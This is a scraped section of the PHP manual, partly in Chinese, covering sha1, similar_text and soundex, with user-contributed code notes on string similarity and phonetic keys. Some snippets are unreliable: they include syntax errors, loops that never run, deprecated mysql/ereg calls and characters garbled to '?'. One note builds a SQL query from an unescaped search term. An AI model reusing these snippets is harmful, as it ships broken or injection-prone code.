Append this to the your sha1lib file to make it more portable.  If your version of php does support sha1() then it will try to use Mhash or else it will use the sha1lib.  Use $sha1 if you want to display which is being used.

if ( function_exists('sha1') )
    $sha1 = "sha1";

if ( !function_exists('sha1') && function_exists('mhash'))
{
    function sha1($hash_source)
    {
           $hash = mhash(MHASH_SHA1, $hash_source);
          $hex_hash = bin2hex($hash);
           return $hex_hash;
    }
    $sha1 = "Mhash";
}
if ( !function_exists('sha1') && !function_exists('mhash'))
{
    function sha1( $string, $raw_output = false )
    {
        $library = new Sha1Lib();

        return $raw_output ? $library->str_sha1($string) : $library->hex_sha1($string);
    }
    $sha1 = "sha1lib";
}
bobm at hp dot com 23-Apr-2003 09:12
To achieve raw binary format prior to PHP5, you can do this...

$raw = pack("H*", sha1($str));

Regards,

Bob Mader


计算两个字符串的相似度

  • ? sha1
  • soundex ?
  • PHP Manual
  • 字符串 函数
  • 计算两个字符串的相似度

similar_text

(PHP 4, PHP 5, PHP 7, PHP 8)

similar_text — 计算两个字符串的相似度

说明

similar_text(string $string1, string $string2, float &$percent = null): int

两个字符串的相似程度计算依据 Programming Classics: Implementing the World's Best Algorithms by Oliver (ISBN 0-131-00413-1) 的描述进行。注意该实现没有使用 Oliver 虚拟码中的堆栈，但是却进行了递归调用，这个做法可能会导致整个过程变慢或变快。也请注意，该算法的复杂度是 O(N**3)，N 是最长字符串的长度。

参数

string1

第一个字符串。

string2

第二个字符串。

Note:

交换 string1 和 string2 可能会产生不同的结果；请看下面的示例。

percent

第三个参数通过引用传递，similar_text() 将以百分比计算相似度，通过将 similar_text() 的结果除以指定字符串长度的平均值然后乘以 100。

返回值

返回在两个字符串中匹配字符的数量。

The number of matching characters is calculated by finding the longest first common substring, and then doing this for the prefixes and the suffixes, recursively. The lengths of all found common substrings are added.

示例

Example #1 similar_text() 交换参数示例

此示例展示了交换 string1 和 string2 可能会产生不同的结果。

<?php
$sim = similar_text('bafoobar', 'barfoo', $perc);
echo "similarity: $sim ($perc %)\n";
$sim = similar_text('barfoo', 'bafoobar', $perc);
echo "similarity: $sim ($perc %)\n";

以上示例的输出类似于：

similarity: 5 (71.428571428571 %)
similarity: 3 (42.857142857143 %)

参见

  • levenshtein() - 计算两个字符串之间的 Levenshtein 距离
  • soundex() - Calculate the soundex key of a string

User Contributed Notes

pablo dot pazos at cabolabs dot com 29-Jan-2021 03:37
To calculate the percentage of similarity between two strings without depending on the order of the parameters and be case insensitive, I use this function based on levenshtein's distance:

<?php

  // string similarity calculated using levenshtein
  static function similarity($a, $b)
  {
    return 1 - (levenshtein(strtoupper($a), strtoupper($b)) / max(strlen($a), strlen($b)));
  }

?>

This will always return a number between 0 and 1, representing the percentage, for instance 0.8 represents 80% similar strings.

If you want this to be case-sensitive, just remove the strtoupper() functions.
Anonymous 21-May-2020 02:37
$result = similar_text ('ab', 'a', $percent);

> $percent: 66.666666666666671
vasyl at vasyltech dot com 08-Feb-2016 02:15
Recursive algorithm usually is very elegant one. I found a way to get better precision without the recursion. Imagine two different (or same) length ribbons with letters on each. You simply shifting one ribbon to left till it matches the letter the first.

<?php

function similarity($str1, $str2) {
    $len1 = strlen($str1);
    $len2 = strlen($str2);

    $max = max($len1, $len2);
    $similarity = $i = $j = 0;

    while (($i < $len1) && isset($str2[$j])) {
        if ($str1[$i] == $str2[$j]) {
            $similarity++;
            $i++;
            $j++;
        } elseif ($len1 < $len2) {
            $len1++;
            $j++;
        } elseif ($len1 > $len2) {
            $i++;
            $len1--;
        } else {
            $i++;
            $j++;
        }
    }

    return round($similarity / $max, 2);
}

$str1 = '12345678901234567890';
$str2 = '12345678991234567890';

echo 'Similarity: ' . (similarity($str1, $str2) * 100) . '%';
?>
I_HATE_SPAMMER- PAZ! 24-Oct-2014 09:59
Actually similar_text() is not bad...
it works good. But before processing i think is a good way to make a little mod like this

$var_1 = strtoupper("doggy");
$var_2 = strtoupper("Dog");

similar_text($var_1, $var_2, $percent);

echo $percent; // output is 75 but without strtoupper output is 50
ryan at derokorian dot com 04-Mar-2014 09:00
Note that this function is case sensitive:

<?php

$var1 = 'Hello';
$var2 = 'Hello';
$var3 = 'hello';

echo similar_text($var1, $var2);  // 5
echo similar_text($var1, $var3);  // 4
SPAM HATER 23-Jul-2012 06:16
Hey there,

Be aware when using this function, that the order of passing the strings is very important if you want to calculate the percentage of similarity, in fact, altering the variables will give a very different result, example :

<?php
$var_1 = 'PHP IS GREAT';
$var_2 = 'WITH MYSQL';

similar_text($var_1, $var_2, $percent);

echo $percent;
// 27.272727272727

similar_text($var_2, $var_1, $percent);

echo $percent;
// 18.181818181818
?>
daniel dot karbach at localhorst dot tv 17-Dec-2010 06:48
Please note that this function calculates a similarity of 0 (zero) for two empty strings.

<?php
similar_text("", "", $sim);
echo $sim; // "0"
?>
Paul 18-Jan-2007 08:50
The speed issues for similar_text seem to be only an issue for long sections of text (>20000 chars).

I found a huge performance improvement in my application by just testing if the string to be tested was less than 20000 chars before calling similar_text.

20000+ took 3-5 secs to process, anything else (10000 and below) took a fraction of a second.
Fortunately for me, there was only a handful of instances with >20000 chars which I couldn't get a comparison % for.
julius at infoguiden dot no 06-Feb-2003 06:46
If you have reserved names in a database that you don't want others to use, i find this to work pretty good.
I added strtoupper to the variables to validate typing only. Taking case into consideration will decrease similarity.

<?php
$query = mysql_query("select * from $table") or die("Query failed");

while ($row = mysql_fetch_array($query)) {
      similar_text(strtoupper($_POST['name']), strtoupper($row['reserved']), $similarity_pst);
      if (number_format($similarity_pst, 0) > 90){
        $too_similar = $row['reserved'];
        print "The name you entered is too similar the reserved name &quot;".$row['reserved']."&quot;";
        break;
       }
    }
?>
georgesk at hotmail dot com 08-Mar-2002 08:14
Well, as mentioned above the speed is O(N^3), i've done a longest common subsequence way that is O(m.n) where m and n are the length of str1 and str2, the result is a percentage and it seems to be exactly the same as similar_text percentage but with better performance... here's the 3 functions i'm using..

<?php
function LCS_Length($s1, $s2)
{
  $m = strlen($s1);
  $n = strlen($s2);

  //this table will be used to compute the LCS-Length, only 128 chars per string are considered
  $LCS_Length_Table = array(array(128),array(128));

  //reset the 2 cols in the table
  for($i=1; $i < $m; $i++) $LCS_Length_Table[$i][0]=0;
  for($j=0; $j < $n; $j++) $LCS_Length_Table[0][$j]=0;

  for ($i=1; $i <= $m; $i++) {
    for ($j=1; $j <= $n; $j++) {
      if ($s1[$i-1]==$s2[$j-1])
        $LCS_Length_Table[$i][$j] = $LCS_Length_Table[$i-1][$j-1] + 1;
      else if ($LCS_Length_Table[$i-1][$j] >= $LCS_Length_Table[$i][$j-1])
        $LCS_Length_Table[$i][$j] = $LCS_Length_Table[$i-1][$j];
      else
        $LCS_Length_Table[$i][$j] = $LCS_Length_Table[$i][$j-1];
    }
  }
  return $LCS_Length_Table[$m][$n];
}

function str_lcsfix($s)
{
  $s = str_replace(" ","",$s);
  $s = ereg_replace("[????????]","e", $s);
  $s = ereg_replace("[????????????]","a", $s);
  $s = ereg_replace("[????????]","i", $s);
  $s = ereg_replace("[?????????]","o", $s);
  $s = ereg_replace("[????????]","u", $s);
  $s = ereg_replace("[?]","c", $s);
  return $s;
}

function get_lcs($s1, $s2)
{
  //ok, now replace all spaces with nothing
  $s1 = strtolower(str_lcsfix($s1));
  $s2 = strtolower(str_lcsfix($s2));

  $lcs = LCS_Length($s1,$s2); //longest common sub sequence

  $ms = (strlen($s1) + strlen($s2)) / 2;

  return (($lcs*100)/$ms);
}
?>

you can skip calling str_lcsfix if you don't worry about accentuated characters and things like that or you can add up to it or modify it for faster performance, i think ereg is not the fastest way?
hope this helps.
Georges
daniel at reflexionsdesign dot com 09-Oct-2001 06:30
If performance is an issue, you may wish to use the levenshtein() function instead, which has a considerably better complexity of O(str1 * str2).


Calculate the soundex key of a string

  • ? similar_text
  • sprintf ?
  • PHP Manual
  • 字符串 函数
  • Calculate the soundex key of a string

soundex

(PHP 4, PHP 5, PHP 7, PHP 8)

soundex — Calculate the soundex key of a string

说明

soundex(string $string): string

Calculates the soundex key of string.

Soundex keys have the property that words pronounced similarly produce the same soundex key, and can thus be used to simplify searches in databases where you know the pronunciation but not the spelling.

This particular soundex function is one described by Donald Knuth in "The Art Of Computer Programming, vol. 3: Sorting And Searching", Addison-Wesley (1973), pp. 391-392.

参数

string

The input string.

返回值

Returns the soundex key as a string with four characters. If at least one letter is contained in string, the returned string starts with a letter. Otherwise "0000" is returned.

更新日志

版本 | 说明
8.0.0 | Prior to this version, calling the function with an empty string returned false for no particular reason.

示例

Example #1 Soundex Examples

<?php
soundex("Euler") == soundex("Ellery"); // E460
soundex("Gauss") == soundex("Ghosh"); // G200
soundex("Hilbert") == soundex("Heilbronn"); // H416
soundex("Knuth") == soundex("Kant"); // K530
soundex("Lloyd") == soundex("Ladd"); // L300
soundex("Lukasiewicz") == soundex("Lissajous"); // L222
?>

参见

  • levenshtein() - 计算两个字符串之间的 Levenshtein 距离
  • metaphone() - Calculate the metaphone key of a string
  • similar_text() - 计算两个字符串的相似度

User Contributed Notes

synnus at gmail dot com 29-Apr-2020 03:22
<?php
/*    SOUNDEX FRENCH
Frederic Bouchery     26-Sep-2003
http://www.php-help.net/sources-php/a.french.adapted.soundex.289.html
*/

function soundex2( $sIn ) {
   // Si il n'y a pas de mot, on sort immédiatement
   if ( $sIn === '' ) return '    ';
   // On met tout en minuscule
   $sIn = strtoupper( $sIn );
   // On supprime les accents
   $sIn = strtr( $sIn, '??à?èéê?&#338;????ù?ü', 'AAASEEEEEIIOOUUU' );
   // On supprime tout ce qui n'est pas une lettre
   $sIn = preg_replace( '`[^A-Z]`', '', $sIn );
   // Si la cha?ne ne fait qu'un seul caractère, on sort avec.
   if ( strlen( $sIn ) === 1 ) return $sIn . '   ';
   // on remplace les consonnances primaires
   $convIn = array( 'GUI', 'GUE', 'GA', 'GO', 'GU', 'CA', 'CO', 'CU',
'Q', 'CC', 'CK' );
   $convOut = array( 'KI', 'KE', 'KA', 'KO', 'K', 'KA', 'KO', 'KU', 'K',
'K', 'K' );
   $sIn = str_replace( $convIn, $convOut, $sIn );
   // on remplace les voyelles sauf le Y et sauf la première par A
   $sIn = preg_replace( '`(?<!^)[EIOU]`', 'A', $sIn );
   // on remplace les préfixes puis on conserve la première lettre
   // et on fait les remplacements complémentaires
   $convIn = array( '`^KN`', '`^(PH|PF)`', '`^MAC`', '`^SCH`', '`^ASA`',
'`(?<!^)KN`', '`(?<!^)(PH|PF)`', '`(?<!^)MAC`', '`(?<!^)SCH`',
'`(?<!^)ASA`' );
   $convOut = array( 'NN', 'FF', 'MCC', 'SSS', 'AZA', 'NN', 'FF', 'MCC',
'SSS', 'AZA' );
   $sIn = preg_replace( $convIn, $convOut, $sIn );
   // suppression des H sauf CH ou SH
   $sIn = preg_replace( '`(?<![CS])H`', '', $sIn );
   // suppression des Y sauf précédés d'un A
   $sIn = preg_replace( '`(?<!A)Y`', '', $sIn );
   // on supprime les terminaisons A, T, D, S
   $sIn = preg_replace( '`[ATDS]$`', '', $sIn );
   // suppression de tous les A sauf en tête
   $sIn = preg_replace( '`(?!^)A`', '', $sIn );
   // on supprime les lettres répétitives
   $sIn = preg_replace( '`(.)\1`', '$1', $sIn );
   // on ne retient que 4 caractères ou on complète avec des blancs
   return substr( $sIn . '    ', 0, 4);
}
?>
synnus at gmail dot com 30-Jun-2015 11:39
<?php
// https://github.com/Fruneau/Fruneau.github.io/blob/master/assets/soundex_fr.php
// http://blog.mymind.fr/blog/2007/03/15/soundex-francais/
function soundex_fr($sIn){
    static $convVIn, $convVOut, $convGuIn, $convGuOut, $accents;
    if (!isset($convGuIn)) {
        $accents = array('é' => 'E', 'è' => 'E', '?' => 'E', 'ê' => 'E',
                    'á' => 'A', 'à' => 'A', '?' => 'A', '?' => 'A', '?' => 'A', '?' => 'A',
                    '?' => 'I', '?' => 'I', 'ì' => 'I', 'í' => 'I',
                    '?' => 'O', '?' => 'O', 'ò' => 'O', 'ó' => 'O', '?' => 'O', '?' => 'O',
                    'ú' => 'U', 'ù' => 'U', '?' => 'U', 'ü' => 'U',
                    '?' => 'C', '?' => 'N', '?' => 'S', '?' => 'E',
                    'é' => 'e', 'è' => 'e', '?' => 'e', 'ê' => 'e',
                    'á' => 'a', 'à' => 'a', '?' => 'a', 'a' => 'a', '?' => 'a', '?' => 'a',
                    '?' => 'i', '?' => 'i', 'ì' => 'i', 'í' => 'i',
                    '?' => 'o', '?' => 'o', 'ò' => 'o', 'ó' => 'o', '?' => 'o', '?' => 'o',
                    'ú' => 'u', 'ù' => 'u', '?' => 'u', 'ü' => 'u',
                    '?' => 'c', '?' => 'n');
        $convGuIn  = array( 'GUI', 'GUE', 'GA', 'GO', 'GU', 'SCI', 'SCE', 'SC', 'CA', 'CO',
                            'CU', 'QU', 'Q', 'CC', 'CK', 'G', 'ST', 'PH');
        $convGuOut = array( 'KI', 'KE', 'KA', 'KO', 'K', 'SI', 'SE', 'SK', 'KA', 'KO',
                            'KU', 'K', 'K', 'K', 'K', 'J', 'T', 'F');
        $convVIn   = array( '/E?(AU)/', '/([EA])?[UI]([NM])([^EAIOUY]|$)/', '/[AE]O?[NM]([^AEIOUY]|$)/',
                            '/[EA][IY]([NM]?[^NM]|$)/', '/(^|[^OEUIA])(OEU|OE|EU)([^OEUIA]|$)/', '/OI/',
                            '/(ILLE?|I)/', '/O(U|W)/', '/O[NM]($|[^EAOUIY])/', '/(SC|S|C)H/',
                            '/([^AEIOUY1])[^AEIOUYLKTPNR]([UAO])([^AEIOUY])/', '/([^AEIOUY]|^)([AUO])[^AEIOUYLKTP]([^AEIOUY1])/', '/^KN/',
                            '/^PF/', '/C([^AEIOUY]|$)/',  '/E(Z|R)$/',
                            '/C/', '/Z$/', '/(?<!^)Z+/', '/H/', '/W/');
        $convVOut  = array( 'O', '1\3', 'A\1',
                            'E\1', '\1E\3', 'O',
                            'Y', 'U', 'O\1', '9',
                            '\1\2\3', '\1\2\3', 'N',
                            'F', 'K\1', 'E',
                            'S', 'SE', 'S', '', 'V');
    }

    if ( $sIn === '' ) return '    ';
    $sIn = strtr( $sIn, $accents);
    $sIn = strtoupper( $sIn );
    $sIn = preg_replace( '`[^A-Z]`', '', $sIn );
    if ( strlen( $sIn ) === 1 ) return $sIn . '   ';
    $sIn = str_replace( $convGuIn, $convGuOut, $sIn );
    $sIn = preg_replace( '`(.)\1`', '$1', $sIn );
    $sIn = preg_replace( $convVIn, $convVOut, $sIn);
    $sIn = preg_replace( '`L?[TDX]?S?$`', '', $sIn );
    $sIn = preg_replace( '`(?!^)Y([^AEOU]|$)`', '\1', $sIn);
    $sIn = preg_replace( '`(?!^)[EA]`', '', $sIn);
    return substr( $sIn . '    ', 0, 4);
}
?>
Dirk Hoeschen - Feenders de 26-Jan-2014 11:00
I made some improvements to the "Cologne Phonetic" function of niclas zimmer. Key and value of the arrays are inverted to uses simple arrays instead of multidimensional arrays. Therefore all loops and iterations are not longer necessary to find the matching value  for a char.
I put the function into a static class and moved the array declarations outside the function.

The result is more reliable and five times faster than the original.

<?php
class CologneHash() {

    static $eLeading = array("ca" => 4, "ch" => 4, "ck" => 4, "cl" => 4, "co" => 4, "cq" => 4, "cu" => 4, "cx" => 4, "dc" => 8, "ds" => 8, "dz" => 8, "tc" => 8, "ts" => 8, "tz" => 8);

    static $eFollow = array("sc", "zc", "cx", "kx", "qx");

    static $codingTable = array("a" => 0, "e" => 0, "i" => 0, "j" => 0, "o" => 0, "u" => 0, "y" => 0,
        "b" => 1, "p" => 1, "d" => 2, "t" => 2, "f" => 3, "v" => 3, "w" => 3, "c" => 4, "g" => 4, "k" => 4, "q" => 4,
        "x" => 48, "l" => 5, "m" => 6, "n" => 6, "r" => 7, "c" => 8, "s" => 8, "z" => 8);

    public static function getCologneHash($word)
    {
        if (empty($word)) return false;
        $len = strlen($word);

        for ($i = 0; $i < $len; $i++) {
            $value[$i] = "";

            //Exceptions
            if ($i == 0 && $word[$i] . $word[$i + 1] == "cr") {
                $value[$i] = 4;
            }

            if (isset($word[$i + 1]) && isset(self::$eLeading[$word[$i] . $word[$i + 1]])) {
                $value[$i] = self::$eLeading[$word[$i] . $word[$i + 1]];
            }

            if ($i != 0 && (in_array($word[$i - 1] . $word[$i], self::$eFollow))) {
                $value[$i] = 8;
            }

            // normal encoding
            if ($value[$i]=="") {
                if (isset(self::$codingTable[$word[$i]])) {
                    $value[$i] = self::$codingTable[$word[$i]];
                }
            }
        }

        // delete double values
        $len = count($value);

        for ($i = 1; $i < $len; $i++) {
            if ($value[$i] == $value[$i - 1]) {
                $value[$i] = "";
            }
        }

        // delete vocals
        for ($i = 1; $i > $len; $i++) {
            // omitting first characer code and h
            if ($value[$i] == 0) {
                $value[$i] = "";
            }
        }

        $value = array_filter($value);
        $value = implode("", $value);

        return $value;
    }

}
?>
nicolas dot zimmer at einfachmarke dot de 03-Aug-2008 03:47
Since soundex() does not produce optimal results for German language
we have written a function to implement the so called K?lner Phonetik
(Cologne Phonetic).

Please find the code below in the hope it might be useful:

<?php
/**
 * A function for retrieving the K?lner Phonetik value of a string
 *
 * As described at http://de.wikipedia.org/wiki/K?lner_Phonetik
 * Based on Hans Joachim Postel: Die K?lner Phonetik.
 * Ein Verfahren zur Identifizierung von Personennamen auf der
 * Grundlage der Gestaltanalyse.
 * in: IBM-Nachrichten, 19. Jahrgang, 1969, S. 925-931
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * @package phonetics
 * @version 1.0
 * @link http://www.einfachmarke.de
 * @license GPL 3.0 <http://www.gnu.org/licenses/>
 * @copyright  2008 by einfachmarke.de
 * @author Nicolas Zimmer <nicolas dot zimmer at einfachmarke.de>
 */

function cologne_phon($word){

  /**
  * @param  string  $word string to be analyzed
  * @return string  $value represents the K?lner Phonetik value
  * @access public
  */

    //prepare for processing
    $word=strtolower($word);
    $substitution=array(
            "?"=>"a",
            "?"=>"o",
            "ü"=>"u",
            "?"=>"ss",
            "ph"=>"f"
            );

    foreach ($substitution as $letter=>$substitution) {
        $word=str_replace($letter,$substitution,$word);
    }

    $len=strlen($word);

    //Rule for exeptions
    $exceptionsLeading=array(
    4=>array("ca","ch","ck","cl","co","cq","cu","cx"),
    8=>array("dc","ds","dz","tc","ts","tz")
    );

    $exceptionsFollowing=array("sc","zc","cx","kx","qx");

    //Table for coding
    $codingTable=array(
    0=>array("a","e","i","j","o","u","y"),
    1=>array("b","p"),
    2=>array("d","t"),
    3=>array("f","v","w"),
    4=>array("c","g","k","q"),
    48=>array("x"),
    5=>array("l"),
    6=>array("m","n"),
    7=>array("r"),
    8=>array("c","s","z"),
    );

    for ($i=0;$i<$len;$i++){
        $value[$i]="";

        //Exceptions
        if ($i==0 AND $word[$i].$word[$i+1]=="cr") $value[$i]=4;

        foreach ($exceptionsLeading as $code=>$letters) {
            if (in_array($word[$i].$word[$i+1],$letters)){

                    $value[$i]=$code;

}                }

        if ($i!=0 AND (in_array($word[$i-1].$word[$i],
$exceptionsFollowing))) {

            value[$i]=8;

}

        //Normal encoding
        if ($value[$i]==""){
                foreach ($codingTable as $code=>$letters) {
                    if (in_array($word[$i],$letters))$value[$i]=$code;
                }
            }
        }

    //delete double values
    $len=count($value);

    for ($i=1;$i<$len;$i++){
        if ($value[$i]==$value[$i-1]) $value[$i]="";
    }

    //delete vocals
    for ($i=1;$i>$len;$i++){//omitting first characer code and h
        if ($value[$i]==0) $value[$i]="";
    }

    $value=array_filter($value);
    $value=implode("",$value);

    return $value;

}

?>
shortcut 13-Nov-2006 11:24
The answer to whether soundex works except for the first letter in klancy vs clancy is to always prefix words with the same letter.

aklancy will match aclancy
bklancy will match bclancy

soundex seems to only check the 1st 2 syllables.??
ie:  spectacular matches spectacle

just a thought if you rely on soundex.

k-
04-Oct-2005 12:25
Since the first letter is included in the phonetic representation in the output, it is worth pointing out that if you want a soundex key to work without the problems of klansy and clansy sounding different, take the substring from the first letter, as the first letter is the main constant of the word, and the numerical value is that of the phontic structure of the word.
crchafer-php at c2se dot com 13-Sep-2005 08:25
Rewritten, maybe -- but the algorithm has some obvious
optimisations which can be done, for example...

        function text__soundex( $text ) {
                $k = ' 123 12  22455 12623 1 2 2';
                $nl = strlen( $tN = strtoupper( $text ) );
                $p = trim( $k{ ord( $tS = $tN{0} ) - 65 } );
                for( $n = 1; $n < $nl; ++$n )
                        if( ( $l = trim( $k{ ord( $tN{ $n } ) - 65 } ) ) != $p )
                                $tS .= ( $p = $l );
                return substr( $tS . '000', 0, 4 );
        }

// Notes:
// $k is the $key, essentially $SoundKey inverted
// $tN is the uppercase of the text to be optimised
// $tS is the partaully generated output
// $l is the current letter, $p the previous
// $n and $nl are iteration indicies
// 65 is ord('A'), precalculated for speed
// none ascii letters are not supported
// watch the brackets, quite a mixture here

(Code has suffered only basic tests, though it appears to
match the output of PHP's soundex(), speed untested --
though this should be /much/ faster than a4_perfect's
rewrite due to the removal of most loops and compares.)

C
2005-09-13
Marc Quinton. 06-Jan-2005 06:53
a French soundex version ; could be used for other foreigns languages where soudex lacks. Perhaps, a class with each language specifics could be writen.

http://www.php-help.net/sources-php/a.french.adapted.soundex.289.html
justin at NO dot blukrew dot SPAM dot com 21-Sep-2004 04:18
I originally looked at soundex() because I wanted to compare how individual letters sounded. So, when pronouncing a string of generated characters it would be easy to to distinguish them from eachother.  (ie, TGDE is hard to distinguish, whereas RFQA is easier to understand). The goal was to generate IDs that could be easily understood with a high degree of accuracy over a radio of varying quality. I quickly figured out that soundex and metaphone wouldn't do this (they work for words), so I wrote the following to help out. The ID generation function iteratively calls chrSoundAlike() to compare each new character with the preceeding characters. I'd be interested in recieving any feedback on this. Thanks.

<?php
function chrSoundAlike($char1, $char2, $opts = FALSE) {
    $char1 = strtoupper($char1);
    $char2 = strtoupper($char2);
    $opts  = strtoupper($opts);

    // Setup the sets of characters that sound alike.
    // (Options: include numbers, include W, include both, or default is none of those.)
    switch ($opts) {
    case 'NUMBERS':
        $sets = array(0 => array('A', 'J', 'K'),
                      1 => array('B', 'C', 'D', 'E', 'G', 'P', 'T', 'V', 'Z', '3'),
                      2 => array('F', 'S', 'X'),
                      3 => array('I', 'Y'),
                      4 => array('M', 'N'),
                      5 => array('Q', 'U', 'W'));
        break;

    case 'STRICT':
        $sets = array(0 => array('A', 'J', 'K'),
                      1 => array('B', 'C', 'D', 'E', 'G', 'P', 'T', 'V', 'Z'),
                      2 => array('F', 'S', 'X'),
                      3 => array('I', 'Y'),
                      4 => array('M', 'N'),
                      5 => array('Q', 'U', 'W'));
        break;

    case 'BOTH':
        $sets = array(0 => array('A', 'J', 'K'),
                      1 => array('B', 'C', 'D', 'E', 'G', 'P', 'T', 'V', 'Z', '3'),
                      2 => array('F', 'S', 'X'),
                      3 => array('I', 'Y'),
                      4 => array('M', 'N'),
                      5 => array('Q', 'U', 'W'));
        break;

    default:
        $sets = array(0 => array('A', 'J', 'K'),
                      1 => array('B', 'C', 'D', 'E', 'G', 'P', 'T', 'V', 'Z'),
                      2 => array('F', 'S', 'X'),
                      3 => array('I', 'Y'),
                      4 => array('M', 'N'),
                      5 => array('Q', 'U'));
        break;
    }

    // See if $char1 is in a set.
    $matchset = array();
    for ($i = 0; $i < count($sets); $i++) {
        if (in_array($char1, $sets[$i])) {
            $matchset = $sets[$i];
        }
    }

    // IF char2 is in the same set as char1, or if char1 and char2 and the same, then return true.
    if (in_array($char2, $matchset) OR $char1 == $char2) {
        return TRUE;
    } else {
        return FALSE;
    }
}
?>
mail at gettheeawayspam dot iaindooley dot com 10-Jul-2003 11:04
The soundex 'different letter in front' problem can be solved by using levenshtein() on the soundex codes. in my application, which is searching a database of album names for entries that match a particular user provided string, i do the following:

1. Search the database for the exact name
2. Search the database for entries where the name occurs anyway as a string
3. Search the database for entries where any of the words in the name (if the user has typed in more than one word) is present, except for little words (and, the, of etc)
4. Then, if all this fails, I go to plan b:

- calculate the levenshtein distance (levenshtein()) between the user search term and each of the entries in the database as a percentage of the length of the user search term entered

- calculate the levenshtein distance between the metphone codes of the user search term entered and each field in the database as a percentage of the length of the metaphone code of the user search term entered

- calculate the levenshtein distance between the soundex codes of the user search term entered and each field in the database as a percentage of the length of the soundex code of the original user search term entered

if any of these percentages is less than 50 (means that two soundex codes with different first letters will be accepted!!) then the entry is accepted as a possible match.
pee whitt at dental dot ufl dor edu 09-Jun-2003 06:12
fie at myrealbox dot com-

regarding your soudex syllable request- i think counting vowel clusters in the word will result in an accurate count of syllables.  so no soudex feature is necessary, just count through the chars in the word, and everytime you run from vowel to consanant, increment the syllable count.

using this logic, this sentence is categorized as follows.
2 1 2 1 1 (3) (0) (4) (0) 2

where (#) marks a word that is incorrectly categorized.  i'm sure usiong a little thinking one could figure out the logic in those cases that would result in an accurate count.  counting changes from vowel to consanant would yield-
(1) 1 2 1 2 1 (4) 1 2

taking the average and then cieling of the two types would fix most of the errors.
fie at myrealbox dot com 08-Mar-2003 05:29
eek... hosting got taken down on that server.. here's the code for the previous

function cg_sylc($nos){
  $nos = strtoupper($nos);
  $syllables = 0;

  $before = strlen($nos);
  $nos = str_replace(array('AA','AE','AI','AO','AU',
  'EA','EE','EI','EO','EU','IA','IE','II','IO',
  'IU','OA','OE','OI','OO','OU','UA','UE',
  'UI','UO','UU'), "", $nos);
  $after = strlen($nos);
  $diference = $before - $after;
  if($before != $after) $syllables += $diference / 2;

  if($nos[strlen($nos)-1] == "E") $syllables --;
  if($nos[strlen($nos)-1] == "Y") $syllables ++;

  $before = $after;
  $nos = str_replace(array('A','E','I','O','U'),"",$nos);
  $after = strlen($nos);
  $syllables += ($before - $after);

  return $syllables;
}

function cg_SoundEx($SExStr){
  $syl = cg_sylc($SExStr);
  $SExStr = strtoupper($SExStr);

    for($i = 1, $ii = 2,print $SExStr[0]; ;$ii++){

      if(($SExStr[$i] != $SExStr[$ii])){
          $tsstr .= $SExStr[$ii];
          $i ++;
      }
      if($SExStr[$ii] == false){
        break;
      }
    }

  $tsstr = str_replace(array('A', 'E', 'H', 'I', 'O', 'U', 'W', 'Y'), "", $tsstr);
  $tsstr = str_replace(array('B', 'F', 'P', 'V'), "1", $tsstr);
  $tsstr = str_replace(array('C', 'G', 'J', 'K', 'Q', 'S', 'X', 'Z', '?'), "2", $tsstr);
  $tsstr = str_replace(array('D', 'T'), "3", $tsstr);
  $tsstr = str_replace(array('L'), "4", $tsstr);
  $tsstr = str_replace(array('M', 'N', '?'), "5", $tsstr);
  $tsstr = str_replace(array('R'), "6", $tsstr);

  while($iii < 3){
    if($tsstr[$iii] != false){
      $ttsstr .= $tsstr[$iii];
    } else {
      $ttsstr .= "0";
    }
    $iii ++;
  }
  $ttsstr .= $syl;
  print $ttsstr;
}
fie at myrealbox dot com 25-Feb-2003 05:34
administrator at zinious dot com:

Sorry but your code wasnt soundex compliant
here were my results with your code, my code, and the default..

string: rest
R620 perform administrator's function 0.009452
R230 perform cg's function 0.001779
R230 perform default soundex function 9.4999999999956E-005

string: reset
R620 perform administrator's function 0.0055900000000001
R230 perform cg's function 0.00091799999999997
R230 perform default soundex function 0.00010600000000005

i dunno why the default, every once in a while, will for some reason be 9.xxx. very odd i think..
my code is at the bottom.. these tests were before the soundex modification as i discribe below..
btw for all the original specs on the soundex algorithm goto
http://www.star-shine.net/~functionifelse/GFD/?word=soundex

dalibor dot toth at podravka dot hr:

yes it is perhaps sad that it gives you the same code,
even metaphone has that problem..
but one might not want to be so accurate.. if somone
is on search engine.. lets call it shmoogle looking
for "php array reset" and search for "php array rest"
then shmoogle might return stuff about beds and such..
(if they were all stupid and didnt use the first words
as more important) so anyways shmoogle might need it to
be less accurate in such cases.. but nonetheless..
my fix for this is to add the number of syllables at the end of the string making it 5 characters long..
this would work as fallows..

code at: http://star-shine.net/~functionifelse/cg_soundex.php

or if you wanted to just use the default soundex function

$str = soundex($str).cg_sylc($str);

revolutionary more or less.. problly less...
This function is only meant for one word though.. i'd like to see someone
modify it to use split and run it through a loop to get each words cg_soundex
that'll be fun ;)
i would also like to sujest to the php zend apache kinda people who make php
to add an optional additional variable the user can specify as fallows

soundex("string",SYL);

which would return the number of syllables at the end of the string
highly accurate sound testing woo! also you could add VOW for vowels
and CONS for consonant or whatever else someone would want..
but i really think the number of syllables will be pleanty efficiant.
umm.. if this helps anyone your welcome.. ummm.. good luck in all
your php adventures.. oh... and the final results

syllables
1 rest
2 reset
metaphone
RST rest
RST reset
soundex
R230 rest
R230 reset

string: rest
R2301 perform cg's function 0.00211
R230 perform default soundex function 0.00011299999999997

string: reset
R2302 perform cg's function 0.001691
R230 perform default soundex function 0.00010399999999999

the default function is a tad bit faster..
so maybe they will add this option and we'll have speed and accuracy.

SILENT WIND OF DOOM WOOSH!
jr 16-Jan-2003 09:25
a workaround for the mysql/php differences in implementation of soundex is to do the soundex comparison entirely within mysql.

for example:
$sql = "SELECT * FROM table WHERE substring(soundex(field), 1, 4) =  substring(soundex('".$wordsearch."'), 1, 4)";
info at nederlandsch dot net 20-Dec-2002 05:26
MySQL soundex (3.23.49) doesn't examine the first character at all to see whether it should be skipped. Therefore the Dutch name of The Hague, the country's government seat, 's-Gravenhage will give a soundex value of '261 in MySQL and S615 in PHP.
dcallaghan at linuxmail dot org 10-Jun-2002 04:25
Although the standard soundex string is 4 characters long, and this is what's returned by the php function, some database programs return an arbitrary number of strings. MySQL, for instance.

The MySQL documentation covers this, recommending that you may wish to use substring to output the standard 4 characters. Let's take 'Dostoyevski' as an example.

select soundex("Dostoyevski")
returns D2312
select substring(soundex("Dostoyevski"), 1, 4);
returns D231

PHP will return the value as 'D231'

